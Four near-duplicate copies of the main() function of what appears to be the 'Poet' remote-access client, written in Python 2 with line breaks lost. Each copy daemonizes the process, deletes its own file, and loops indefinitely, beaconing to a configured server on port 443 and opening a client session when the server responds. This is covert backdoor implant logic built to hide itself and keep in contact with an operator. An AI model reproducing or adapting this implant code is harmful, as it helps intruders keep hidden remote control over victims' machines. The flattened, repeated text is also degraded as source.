def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info( ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit' ).format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except Exception as e: debug.warn('Fatal error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info("Deleting client") try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info(("Poet started with interval of {} seconds to port {}. Ctrl-c to exit").format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info("Server is active") PoetClient(HOST, PORT).start() else: debug.warn("Server is inactive") time.sleep(args.interval) except KeyboardInterrupt: print debug.err("Poet terminated") except Exception as e: debug.warn("Fatal error: {}".format(e.message)) debug.err("Poet terminated") sys.exit(0)
def main(): global args args = get_args() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.host PORT = int(args.port) if args.port else 443 debug.info( ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit' ).format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except socket.error as e: debug.warn('Socket error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def main(): global args args = get_args() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.host PORT = int(args.port) if args.port else 443 debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except socket.error as e: debug.warn('Socket error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)